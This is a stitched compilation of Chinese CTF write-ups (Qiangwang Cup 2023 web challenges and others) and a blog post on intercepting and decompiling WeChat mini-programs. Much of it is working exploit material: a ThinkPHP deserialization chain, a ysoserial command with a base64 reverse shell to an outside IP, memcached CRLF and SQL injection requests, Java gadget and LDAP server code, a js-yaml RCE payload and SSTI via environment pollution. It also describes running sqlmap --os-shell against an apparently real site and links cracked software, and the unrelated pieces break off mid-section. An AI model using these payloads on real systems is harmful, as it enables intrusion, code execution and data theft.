//YToxOntpOjA7TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJqZWxseSI7czo4OiJnZXRFcnJvciI7fXM6ODoiACoAZXJyb3IiO086MzA6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEJlbG9uZ3NUbyI6Mzp7czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6NToiamVsbHkiO3M6NjoibmwgL2YqIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czoxMDoiACoAb3B0aW9ucyI7YToxOntzOjY6InByZWZpeCI7czo2OiJqZWxseS8iO31zOjY6IgAqAHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YToyOntzOjY6ImV4cGlyZSI7czowOiIiO3M6MTI6InNlc3Npb25fbmFtZSI7czowOiIiO319fX1zOjExOiIAKgBiaW5kQXR0ciI7YToxOntpOjA7czowOiIiO319czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6NToiamVsbHkiO3M6NjoibmwgL2YqIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czoxMDoiACoAb3B0aW9ucyI7YToxOntzOjY6InByZWZpeCI7czo2OiJqZWxseS8iO31zOjY6IgAqAHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YToyOntzOjY6ImV4cGlyZSI7czowOiIiO3M6MTI6InNlc3Npb25fbmFtZSI7czowOiIiO319fX19fX0

在编辑页面修改抓包

 

fgasrr5lo1u13481.jpg

 

放包

2023 强网杯 writeup by Arr3stY0u

再次访问该商品得到flag

 

12xoqpkmw1x13488.jpg

 

flag{c7c7e293-d532-496b-b414-c28bb3fe9aa7}

happygame

使用grpcui工具

grpcui -plaintext ip:port

打开以后可以发现一个序列化参数。

 

akbvfccultj13491.jpg

 

猜测后端是java组件,这里经过测试,发现CC5可以攻击,所以用ysoserial生成payload,因为exec会把管道符当做参数,所以需要先编码

java -jar ysoserial-main-923a2bda4e-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny43Ni4xNzguODkvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}" | base64

发送该数据,即可成功反弹shell

 

ju35ovfggda13494.jpg

 

thinkshopping

第二天又上了thinkshopping这一题,和前一题主要的区别是goods_edit.html中的反序列化入口被删了anfzusczmkq13498.jpg

还有admin表中的内容被清空了,没有1、admin、e10adc3949ba59abbe56e057f20f883e这条数据了

更重要的是,secure_file_priv的值为空了3x31zpw5wqd13501.png

而前一题还是有值的

bisx2uych5x13505.png

当然,前一题的SQL注入点依然存在,不过依然需要鉴权进入后台,这意味着,只需要我们能进入后台,就能通过load_file的方式读取flag。

那么,如何进入到后台呢?前面提到,容器在启动的时候使用了memcached,但是在前一题中并没有用到z3iy5truub013509.jpg

并且启动了memcached后,ThinkPHP中也配置了cache使用memcached做缓存riinkhi10e213512.jpg

而在登录时,使用了cache先获取缓存q23anmzswsz13513.jpg

跟进一下find逻辑,由于出题人配置了cache,所以会将数据缓存到memcached中,这里的缓存的key格式为:think:shop.admin|usernameg5a3addemxk13516.jpg

那么如何控制缓存的值呢?memcached存在CRLF注入漏洞,具体可参考下方文章:

 https://www.freebuf.com/vuls/328384.html

简单来说,就是能set任意的值,例如下方的payload,就能注入一个snowwolf的键,且值为wolf,4代表数据长度

TOKEN%00%0D%0Aset%20snowwolf%200%20500%204%0D%0Awolf

等价于
set snowwolf 0 500 4
wolf
那么我们需要注入一个怎么样的数据呢?我们可以看一下存储之后的数据是长什么样的,将下面的内容添加到路由,然后访问执行
 public function test(){
    $result = Db::query("select * from admin where id=1");
    var_dump($result);
    $a = "think:shop.admin|admin";
    Cache::set($a, $result, 3600);
}

查看memcached中的值,长得像个序列化字符串

telnet 127.0.0.1 11211

get think:shop.admin|admin
a:1:{i:0;a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";}}
l5weoou5edr13519.jpg

这里有个坑点,就是memcached本身是没有数据类型的,只有key-value的概念,存放的都是字符串,但是PHP编程语言给它给予了数据类型的概念(当flags为0为字符串,当flags4为数组等等),我们看一下memcached的set命令格式:

上图中的红色箭头所指向的4,就是下方的flags位置,也就是说,在PHP中,flags为4的缓存数据,被当做数组使用

set key flags exptime bytes [noreply] 

value 

所以我们在构造CRLF注入的命令时,需要注意在set时,把flags设置为4

POST /public/index.php/index/admin/do_login.html HTTP/1.1
Host: eci-2ze7q6gtt4a3a07rywcf.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=korn6f9clt7oere36ke7pj7m70

username=admin%00%0D%0Aset%20think%3Ashop.admin%7Cadmin%204%20500%20101%0D%0Aa%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A32%3A%2221232f297a57a5a743894a0e4a801fc3%22%3B%7D&password=admin

再用admin、admin去登录即可,登录到后台之后,再带上session去load_file读flag即可

POST /public/index.php/index/admin/do_edit.html HTTP/1.1
Host: eci-2ze7q6gtt4a3a07rywcf.cloudeci1.ichunqiu.com
Content-Length: 183
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=korn6f9clt7oere36ke7pj7m70

data`%3Dunhex('')/**/,`name`%3Dload_file('/fffflllaaaagggg')/**/where/**/id%3D1/**/or/**/1%3D1#=1&id=1&name=a&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=1&data=%27%0D%0Aa
ysju3dszrhe13522.jpg  

参考原文链接:

https://mp.weixin.qq.com/s/ksGjGGeYjvWpgmRA5xyBpg https://mp.weixin.qq.com/s/ZNbUGyYkLP0YWDGIVMN-Zw https://mp.weixin.qq.com/s/zBWgPmK4edhkc153A7cvTw https://blog.csdn.net/qq_65165505/article/details/135044734

网上大多数的小程序测试抓包都是用的安卓模拟器,这里使用的是BurpSuite+Proxifer+微信客户端的抓包方式

环境准备

Burp2023.9.2

Proxifier4.5

Proxifier是一款功能非常强大的socks5客户端,可以让不支持通过代理服务器,工作的网络程序能通过HTTPS或socks或代理链。其是收费软件,免费试用31天,这里给一个破解版链接

链接:https://pan.baidu.com/s/14QElyGxDpMBGTuCFTPl4tQ?pwd=7o50

提取码:7o50

图片1.png

安装就无脑next就好了,安装好后打开

图片2.png

点击注册,名字随便写,随便复制一个注册码点击ok即可

Proxifier配置

打开proxifier,点击profile添加一个代理服务器

图片3.png

图片4.png

地址127.0.0.1,端口自定义,我这里是8888,协议选择https

继续添加一条代理规则

在我们用微信打开小程序时,进程里会多出一个WeChatAppEx

图片5.png

这个程序就是微信小程序的进程

添加规则

图片7.png

Applications就选择小程序进程应用(这里可以手动输入),Action就选择刚刚新建的代理服务器

Burp配置

图片8.png

只要编辑代理监听器和proxifier里的代理服务器一样即可,监听127.0.0.1:8888

这时微信打开一个小程序,可以看到WeChatAppEx的流量先经过proxifier,再用过127.0.0.1:8888到burp
图片9.png

现在就可以像平时测试web站点一样的方式在burp里对数据包进行测试

小程序反编译

图片10.png

在微信的设置里面可以找到微信文件保存的位置

图片11.png

目录下的Applet就是小程序缓存文件的保存地址

图片12.png

平时使用的小程序越多,对应的文件也就越多,如果找不到自己想要测试的小程序包,可以根据修改日期来找,或者直接简单粗暴,删除所有的缓存文件,再重新打开你想要测试的小程序

图片13.png

这时里面的就是我们要测试小程序对应的缓存文件夹

点开里面就是我们要解的包

图片14.png

这是一个加密的包,当用户在微信中搜索或扫描小程序二维码后,微信后台会将该小程序的相关信息打包成 .wxapkg 文件并下发到用户的设备中,这种文件格式实际上是一个压缩包,其中包含了小程序的所有代码、资源和配置文件等内容,以及一个特定的描述文件 app.json。

由于是加密的包,所以先来解密,下面是大佬的解密工具链接

链接:https://pan.baidu.com/s/1BzfvBVwD4vLpakX9PAyrsg?pwd=qz3z

提取码:qz3z

图片15.png

选中加密的包

图片16.png

解密成功后在工具目录的wxpack目录下

图片17.png

接下来进行反编译

首先安装nodejs,下载链接https://nodejs.org/zh-cn/download/ ,安装就一直下一步就好了,安装好之后添加环境变量

图片18.png

加好环境变量后cmd输入命令会得到回显

图片19.png

接下来使用反编译工具wxappUnpacker

原链接https://github.com/system-cpu/wxappUnpacker

网盘链接:https://pan.baidu.com/s/19O2KDqWn2Zyars8AREJ1LQ?pwd=22qj

提取码:22qj

来到工具目录

安装

图片20.png

安装依赖

npm install esprima
npm install css-tree
npm install cssbeautify
npm install vm2
npm install uglify-es
npm install js-beautify
逐条执行以上命令

逐条执行以上命令

接下来反编译

执行命令

node wuWxapkg.js 解密后小程序的路径

图片21.png

图片22.png

执行完后会在被反编译的包的目录下生成一个目录

图片23.png

图片24.png

里面就是反编译过后得到的文件了

下载微信开发者工具

官网下载链接

https://servicewechat.com/wxa-dev-logic/download_redirect?type=win32_x64&from=mpwiki&download_version=1062308310&version_type=1

安装好后打开

图片25.png

点击加号

图片26.png

目录选择反编译后的目录,后端服务选择不使用云服务,点击确定

图片29.png

就可以查看小程序的js代码了

测试

点击发送验证码的功能

图片30.png

是/api/shop/ipad/login/sms路径

在代码里面找到发送功能的代码

图片31.png

发现只有/login/sms

现在基本确认了路径访问规则,将接口拼接到/api/shop/ipad之后,找其他接口拼接尝试有没有未授权

找一个首页的路径拼接

图片32.png

直接发包返回404

图片33.png

拼接/api/shop/ipad之后发包

图片34.png

可以确定路径是对了,但是不存在未授权,这一个路径不存在,并不完全代表所有接口都不存在,也许有那么几个接口漏掉了没做鉴权,就会造成未授权,信息泄露之类的

一不小心getshell

继续看刚刚发送验证码的接口,看看有没有短信轰炸之类的

图片35.png

访问/login/sms接口,并且以post方式接收mobile参数

构造包

图片36.png

输入一个不存在的手机号,显示手机号码有误

图片37.png

输入一个真实的也提示有误,有可能只有系统存在的账户手机号才有效

看到参数习惯性打个单引号

图片38.png

哦豁,再加个单引号

图片39.png

哦豁+1
看返回数据包可以判断出用的.net,个人觉得这个框架是很多注入的,尝试手注没有回显,sqlmap一把梭,https加上--force-ssl参数

图片40.png

成功跑出SQL注入,而且是堆叠注入,尝试--os-shell

图片41.png

 

转自于原文链接:https://forum.butian.net/share/2477

 

Re 

Emoji Connect

是Excel的插件,开始玩之后会初始化一个4848的矩阵,每个格子里有一个emoji,然后每次点击两个格子,如果两个格子里的emoji相同,就会消除这两个格子。一开始以为是消星星一类的三个格子的消除,但看game的逻辑每次只替换两个,所以确实是连连看。然后flag的逻辑就是每次消除的时候减去格子的 行列,下标是用神奇的方法从unicode转过去的,我这里直接用矩阵里emoji的最小值做下标偏移了

dat = '''😈 😑  😔  😎  😌  😆  😤  😮  😮  😟  😪  😂  😢  😐  😩  😙  😭  😎  😬  😅  😉  😦  😛  😥  😜  😤  😑  😨  😝  😗  😛  😁  😑  😏  😜  😠  😤  😋  😀  😁  😅  😖  😑  😡  😒  😇  😄  😛
😊 😈 😂 😘 😬 😩 😥 😬 😈 😫 😅 😊 😒 😦 😑 😅 😙 😔 😟 😩 😬 😐 😑 😮 😔 😥 😧 😖 😇 😦 😉 😈 😘 😯 😣 😉 😓 😞 😃 😌 😨 😖 😮 😙 😙 😫 😋 😣
😜 😉 😇 😮 😝 😞 😒 😪 😂 😬 😯 😃 😄 😘 😪 😛 😤 😑 😦 😯 😗 😋 😡 😤 😊 😨 😉 😬 😍 😏 😨 😔 😝 😀 😡 😝 😅 😧 😋 😔 😨 😗 😍 😨 😝 😈 😫 😤
😍 😍 😌 😅 😫 😏 😫 😗 😢 😇 😃 😍 😮 😃 😋 😮 😢 😦 😭 😢 😢 😔 😧 😥 😢 😁 😠 😀 😙 😅 😑 😕 😌 😊 😞 😕 😑 😡 😔 😘 😙 😂 😝 😬 😜 😕 😌 😞
😓 😖 😏 😑 😇 😦 😯 😊 😕 😃 😬 😏 😉 😯 😦 😩 😊 😛 😟 😨 😛 😥 😗 😄 😊 😀 😉 😇 😧 😅 😨 😚 😖 😑 😅 😚 😄 😅 😃 😤 😒 😉 😌 😭 😘 😊 😅 😄
😎 😆 😁 😯 😟 😌

web

ai_java

首先通过附件帐号信件获取到帐号
image.png
image.png
通过base64或者jsfuck可获取提示js和c,审计一下js那么可以看到c函数,运行一下。获取到 github 项目地址
image.png
查找提交历史我们发现了源码
image.png
审计源码发现为 可能存在spring–boot 未授权绕过
image.png
在admin的页面下的/post_message/接口存在fastjson解析
image.png

image.png
查看具体版本发现无法直接ladp攻击,查看依赖
发现引入了shiro。使用 SerializedData + LDAP 攻击. 和无依赖 CB 进行反弹 shell

public class CB {
public static void setFieldValue(Object obj, String fieldName, Objec
t value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Comparator getValue(Object instance) throws NoSuchFiel
dException, IllegalAccessException {
Class<?> clazz = instance.getClass();
// 获取私有变量的 Field 对象
Field privateField = clazz.getDeclaredField("INSTANCE");
// 设置私有变量的访问权限
privateField.setAccessible(true);
// 获取私有变量的值
Object value = privateField.get(instance);
return (Comparator) value;
}
public static byte[] getPayload() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(evil.class.getName());
byte[] code =clazz.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "tvt");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, getVa
lue(new Headers()));
Queue queue = new PriorityQueue(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] byteArray = barr.toByteArray();
String base64EncodedData = Base64.getEncoder().encodeToString(by
teArray);
System.out.println(base64EncodedData);
return byteArray;
}
}
public class evil extends AbstractTranslet {
public void transform(DOM var1, SerializationHandler[] var2) throws
TransletException {
}
public void transform(DOM var1, DTMAxisIterator var2, SerializationH
andler var3) throws TransletException {
}
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}");
}
public evil() throws Exception {
Runtime.getRuntime().exec("bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}");
}
}
public class LDAPSerialServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#EvilClass"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectory
ServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationIntercep
tor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(con
fig);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-N
LS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationI
nterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResul
t result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult resu
lt, String base, Entry e ) throws Exception {
System.out.println("Send LDAP reference result for " + base +
" return CB gadgets");
e.addAttribute("javaClassName", "DeserPayload"); //$NON-NLS-
1$
String base64EncodedData = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3Jp
dHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0N
vbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbk
NvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAAST
GphdmEvbGFuZy9TdHJpbmc7eHBzcgA/Y29tLnN1bi54bWwuaW50ZXJuYWwud3MudHJhbnNw
b3J0LkhlYWRlcnMkSW5zZW5zaXRpdmVDb21wYXJhdG9yyIEeXDpxA/ECAAB4cHQAEG91dHB
1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybm
FsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlc
kkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2
YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZ
hL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdX
IAAltCrPMX+AYIVOACAAB4cAAABinK/rq+AAAANAA1CgAiACMIACQKACIAJQoAJgAnCgAHA
CgHACkHACoBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRl
cm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3Nlcml
hbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYm
xlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxldmlsOwEABHZhcjEBAC1MY29tL
3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAR2YXIyAQBCW0xj
b20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGl
vbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbG
FuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hb
C9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL9hcGFjaGUveG1sL2ludGVybmFsL3Nlc
mlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBADVMY29tL3N1bi9vcmcvYXBhY2hl
L3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEABHZhcjMBAEFMY29tL3N1bi9
vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbG
VyOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sY
W5nL1N0cmluZzsHACwBAAY8aW5pdD4BAAMoKVYBAApTb3VyY2VGaWxlAQAJZXZpbC5qYXZh
BwAtDAAuAC8BAGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppOWtaWFl2ZEdOd0x6UTN
MakV4TXk0eE9Ua3VNVFE0THpnNE9EZ2dNRDRtTVE9PX18e2Jhc2U2NCwtZH18e2Jhc2gsLW
l9DAAwADEHADIMADMANAwAHgAfAQAEZXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhb
i9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29y
Zy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZ
hL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKC
lMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphd
mEvbGFuZy9Qcm9jZXNzOwEAA0NDNgEACmdldFBheWxvYWQBAAQoKVtCACEABgAHAAAAAAAE
AAEACAAJAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAALAAwAAAAgAAMAAAABAA0
ADgAAAAAAAQAPABAAAQAAAAEAEQASAAIAEwAAAAQAAQAUAAEACAAVAAIACgAAAEkAAAAEAA
AAAbEAAAACAAsAAAAGAAEAAAAOAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAE
QAWAAIAAAABABcAGAADABMAAAAEAAEAFAAJABkAGgACAAoAAABAAAIAAQAAAA64AAESArYA
A1e4AARXsQAAAAIACwAAAA4AAwAAABEACQASAA0AEwAMAAAADAABAAAADgAbABwAAAATAAA
ABAABAB0AAQAeAB8AAgAKAAAAQAACAAEAAAAOKrcABbgAARICtgADV7EAAAACAAsAAAAOAA
MAAAAUAAQAFQANABYADAAAAAwAAQAAAA4ADQAOAAAAEwAAAAQAAQAdAAEAIAAAAAIAIXB0A
AN0dnRwdwEAeHEAfgANeA==";
e.addAttribute("javaSerializedData", Base64.getDecoder().dec
ode(base64EncodedData));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

我们对编译好的 CB 使 base64 编码,不直接调用.防止 jar 包时的内部 api 错误. 本地我们使用 CVE-2022-22978 绕过身份认证,使用 fastjson 的缓存绕过,实现 jndi注入
的发起.
image.png
image.png
image.png

 

signal

首先这个题因为是把其他文件格式转换为yaml格式然后yaml.load()会加载为js对象,在github找js-yaml文档说明,怎么解析对象的,官网也给了例子的,这里就直接看它能解析成什么
image.png
发现能解析方法
image.png
js-yaml的version 是3.14.1 ,跟新版本提交对比
https://github.com/nodeca/js-yaml/commit/ee74ce4b4800282b2f23b776be7dc95dfe34db1c
这是默认为危险模式的最后一个版本,该模式允许您使用 tag 构造任意 JS 函数。!!js/function
image.png
然后在模版渲染的地方,会自动调用对象的tostring方法
所以上传文件yaml文件内容为下面payload就行了

"name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}"}

Swagger docs

1.读接口文档弄清楚网站功能
2.注册用户

http://47.108.206.43:40476/api-base/v0/register
{"username":"admin","password":"admin"}

3.登陆

http://47.108.206.43:40476/api-base/v0/login
{"username":"admin","password":"admin"}

4.任意文件读取
测试发现在/api-base/v0/search接口存在任意文件读取

  • 读进程
http://47.108.206.43:40476/api-base/v0/search?file=../../../../../proc/1/cmdline&type=text
  • 读源码位置
http://47.108.206.43:40476/api-base/v0/search?file=../../../../../app/run.sh&type=text
  • 读源码

5.代码审计

image.png

  • 发现/api-base/v0/search存在render_template_string(),可导致ssti造成rce,只需要控制渲染内容即可
  • uapate()函数中存在类似于原型链污染,可以利用来修改环境变量
image.png

这一步思路就是通过原型链污染,修改http_proxy环境变量,即可控制请求的响应数据来造成ssti,实现rce。

http://47.108.206.43:40476/api-base/v0/update
{
        "__init__": {
            "__globals__": {
                "os": {
                    "environ": {
                        "http_proxy":"ip:port"
                    }
                }
            }
        }
    }

修改代理后即可随意发送请求(注意:得选择text才能进入渲染)

http://47.108.206.43:40476/api-base/v0/search?file=user&type=text

VPS控制请求响应:
HTTP/1.1 200 OK

{{lipsum.__globals__['os'].popen('cat EY6zl0isBvAWZFxZMvCCCTS3VRVMvoNi_FLAG').read()}}

image.png
此外,除了配合render_template_string()实现rce以外,还有其他师傅采用了其他方法。这里贴一个p4d0rn师傅的方法,感谢p4d0rn的支持!
ac96bbdda6fc47f443ea66c992fe1300.png

 

easy_unserialize

被打爆了QAQ, 考虑实在不周到, 导致出现了很多非预期解, 向师傅们说抱歉了
题目:

<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;

    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }

    public function __isset($arg1)
    {
        if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)
            {
                $this->g1->g1=666;
            }
        }else{
            die("No");
        }
    }
}
class Luck{
    public $l1;
    public $ll2;
    private $md5;
    public $lll3;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
    public function __toString()
    {
        $new = $this->l1;
        return $new();
    }

    public function __get($arg1)
    {
        $this->ll2->ll2('b2');
    }

    public function __unset($arg1)
    {
        if(md5(md5($this->md5)) == 666)
        {
            if(empty($this->lll3->lll3)){
                echo "There is noting";
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
    public function  __call($arg1,$arg2)
    {
        if(urldecode($this->arg1)===base64_decode($this->arg1))
        {
            echo $this->t1;
        }
    }
    public function __set($arg1,$arg2)
    {
        if($this->tt2->tt2)
        {
            echo "what are you doing?";
        }
    }
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}
class Flag{
    public function __invoke()
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}

if(isset($_POST['D0g3']))
{
    unserialize($_POST['D0g3']);
}else{
    highlight_file(__FILE__);
}
?>

第一点: shell脚本变量构造数字

if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
if ($this->gg2)

image-20231105160341904.png

// 故:
$g = new Good('${##}');

另: 由于本题出题人的失误, 题目中preg_match() 这里逻辑其实有问题, 导致任意赋值均可

第二点: 双重md5:

if(md5(md5($this->md5)) == 666)

md5.py:

# -*- coding: utf-8 -*-
# 运行: python2 md5.py "666" 0
import multiprocessing
import hashlib
import random
import string
import sys

CHARS = string.ascii_letters + string.digits


def cmp_md5(substr, stop_event, str_len, start=0, size=20):
    global CHARS
    while not stop_event.is_set():
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(rnds)
        value = md5.hexdigest()
        if value[start: start + str_len] == substr:
            # print rnds
            # stop_event.set()

            # 碰撞双md5
            md5 = hashlib.md5(value)
            if md5.hexdigest()[start: start + str_len] == substr:
                print rnds + "=>" + value + "=>" + md5.hexdigest() + "\n"
                stop_event.set()



if __name__ == '__main__':
    substr = sys.argv[1].strip()
    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
    str_len = len(substr)
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                                               stop_event, str_len, start_pos))
                 for i in range(cpus)]
    for p in processes:
        p.start()
    for p in processes:
        p.join()
python2 md5.py "666" 0 

image-20231118204400660.png
三部分从左向右分别是源字符串、md5一次加密、md5二次加密
取符合要求(本题要求前三位为666)的md5二次加密对应的源字符串即可 (可能需要运行多次)

第三点:

if(urldecode($this->arg1)===base64_decode($this->arg1))

可以用数组绕过:

$t = new To();
$t->arg1[]=1;

也可以直接赋值为空:

$t = new To();
$t->arg1 = '';

第四点 :

array_walk($this, function ($one, $two) {
        $three = new $two($one);
        foreach($three as $tmp){
            echo ($tmp.'<br>');
        }
});

这里先用原生类FilesystemIterator或DirectoryIterator扫目录, 再用原生类SplFileObject读flag
即:

class Flag{
    public $FilesystemIterator='/'; //扫目录文件
   // 或者是 public $DirectoryIterator = "glob:///F*";
}

class Flag{
     public $SplFileObject='/FfffLlllLaAaaggGgGg'; //读文件

以下是完整的pop链:

//原生类FilesystemIterator或DirectoryIterator扫目录:
<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
